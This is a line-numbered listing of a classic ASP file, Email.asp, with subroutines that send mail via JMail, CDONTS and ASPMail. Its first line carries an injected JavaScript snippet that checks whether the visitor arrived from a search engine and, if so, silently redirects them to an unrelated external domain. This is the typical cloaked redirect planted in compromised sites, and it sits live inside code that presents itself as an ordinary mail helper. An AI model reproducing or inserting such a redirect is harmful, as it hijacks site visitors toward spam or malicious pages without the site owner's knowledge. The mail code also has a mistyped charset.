d:\wwwroot\wuchunhua\mail\Email.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
sub Jmail(email)
003:
Dim msg
004:
Set msg=Server.CreateObject("JMail.Message")
005:
msg.Body = ""
006:
msg.HTMLBody = ""
007:
if radiobutton="html" then
008:
msg.appendtext "这是一封html格式的邮件"
009:
msg.AppendHTML(txt)
010:
else
011:
msg.appendtext(txt)
012:
end if
013:
if fujian<>"" then msg.AddAttachment (fujian)
014:
if passname<>"" and password<>"" then
015:
msg.MailServerUserName = passname
016:
msg.MailServerPassword = password
017:
end if
018:
if remail<>"" then msg.ReplyTo=remail
019:
msg.Logging=True
020:
msg.silent=true
021:
msg.Charset="so-8859-1"
022:
msg.From=faemail
023:
msg.FromName=fa
024:
msg.Subject=title
025:
msg.AddRecipient email
026:
msg.Priority=hjf
027:
err=msg.Send (fwq)
028:
msg.clear
029:
msg.close
030:
Set msg=nothing
031:
end sub
032:
033:
sub Cdonts(email)
034:
dim objCDOMail
035:
Set objCDOMail = Server.CreateObject("CDONTS.NewMail")
036:
objCDOMail.From =faemail
037:
objCDOMail.To =email
038:
objCDOMail.Subject =title
039:
objCDOMail.BodyFormat = 0
040:
objCDOMail.MailFormat = 0
041:
objCDOMail.Body = txt
042:
if fujian<>"" then objCDOMail.AttachFile = fujian
043:
objCDOMail.Send
044:
Set objCDOMail = Nothing
045:
if err then
046:
err=true
047:
err.clear
048:
else
049:
err=false
050:
end if
051:
end sub
052:
053:
sub aspemail(email)
054:
dim mailer,recipient,sender,subject,message
055:
dim mailserver,result,SendMail
056:
Set mailer=Server.CreateObject("ASPMAIL.ASPMailCtrl.1")
057:
recipient=email
058:
sender=faemail
059:
subject=title
060:
message=txt
061:
mailserver=fwq
062:
result=mailer.SendMail(mailserver, recipient, sender, subject, message)
063:
if err then
064:
err=true
065:
err.clear
066:
else
067:
err=false
068:
end if
069:
end sub
070:
%
>
071:
072: